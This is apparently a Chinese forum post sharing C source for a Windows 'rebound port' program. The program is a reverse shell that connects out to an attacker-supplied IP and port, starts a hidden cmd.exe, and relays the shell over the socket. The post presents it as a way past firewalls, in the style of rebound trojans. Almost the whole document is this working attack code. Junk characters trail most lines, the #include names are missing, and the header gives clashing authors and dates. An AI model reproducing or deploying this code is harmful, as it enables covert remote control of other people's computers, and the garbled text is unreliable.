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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &1Fply7(Ay  
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/* ============================== ~ FUa: KYD  
Rebound port in Windows NT k'+}92 o  
By wind,2006/7 f\K#>u* Q  
===============================*/ \0AiCMX[  
#include -x'e+zT  
#include h0VzIuV  
uD)-V;}P@;  
#pragma comment(lib,"wsock32.lib") ;nB2o-%  
bPd-D-R  
void OutputShell(); v8@eW.I1  
SOCKET sClient;  @Fx@5e  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8D~x\!(p\  
rt b*n~  
void main(int argc,char **argv) _;e\:7<m  
{ D,rZ0?R  
WSADATA stWsaData; Z+idLbIs  
int nRet; +LzovC@^  
SOCKADDR_IN stSaiClient,stSaiServer; `6Hf&u<  
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if(argc != 3) c> G@+  
{ -G b-^G  
printf("Useage:\n\rRebound DestIP DestPort\n"); Eark)  
return; gyus8#sT  
} t(?<#KUB-  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Lko`F$5X  
p|VcMxT9-  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )5yj/0oT  
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stSaiClient.sin_family = AF_INET; Iql5T#K+  
stSaiClient.sin_port = htons(0); 0kLEBoOh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vA-PR&  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3"rkko?A  
{ Z> 74.r  
printf("Bind Socket Failed!\n"); p`>d7S>"  
return; p&3> `C  
} I/s.xk_i  
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stSaiServer.sin_family = AF_INET; ]T^ is>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y60"M4j  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); . U/k<v<)6  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) JO1 ,TtA  
{ Ew4 g'A:H  
printf("Connect Error!"); mm,lhIh  
return; K $-;;pUl  
} @"8R3BN  
OutputShell(); ;<-7*}Dj  
} rn" pKUd  
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void OutputShell() K]"Kf{bx  
{ 0HbJKix!  
char szBuff[1024]; <abKiXA"  
SECURITY_ATTRIBUTES stSecurityAttributes; -p8e  
OSVERSIONINFO stOsversionInfo; "!q?P" @C  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bK=c@GXS  
STARTUPINFO stStartupInfo; Y';>O`  
char *szShell; !_^g8^>2(  
PROCESS_INFORMATION stProcessInformation; iJP{|-h  
unsigned long lBytesRead; Z"tQp Jg  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /`+7_=-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~:2K#q5C  
stSecurityAttributes.lpSecurityDescriptor = 0; 8:{ q8xZ=k  
stSecurityAttributes.bInheritHandle = TRUE; |Fv?6qw+  
2k+16/T  
r/AHJU3&eY  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); GZ3/S|SMP  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _!:@w9  
Efr&12YSS  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LK+felL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C1QWU5c v  
stStartupInfo.wShowWindow = SW_HIDE; ZvH{wt   
stStartupInfo.hStdInput = hReadPipe; {tt$w>X  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &jm[4'$ *z  
kxo.v|)8  
GetVersionEx(&stOsversionInfo); qG9qN.|dC  
KO,_6>8]U  
switch(stOsversionInfo.dwPlatformId) iz`jDa Q|1  
{ afm_Rrg[  
case 1: 'h}7YP, w  
szShell = "command.com"; KXe ka  
break; ( V4G<-jG  
default: A,c'g}:  
szShell = "cmd.exe"; V2<i/6~  
break; 0<&M?^  
} |s|/]aD}o  
Gvn: c/m;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =|0/Ynfe  
Taasi` k  
send(sClient,szMsg,77,0); kF-TG3  
while(1) :`J>bHE  
{ ORH93`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZQ[~*)  
if(lBytesRead) Wc;+2Hl[@  
{ F= i!d,S  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); NI\H \#bJ  
send(sClient,szBuff,lBytesRead,0); xF8 :^'  
} DHzkRCM  
else 7;xKy'B\  
{ p&5S|![\  
lBytesRead=recv(sClient,szBuff,1024,0); EUZq$@uWL  
if(lBytesRead<=0) break; bi,mM,N/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l* Y[^'  
} W5/};K\.  
} 0N VI +Z$  
7@P656{  
return; h5!d  
}
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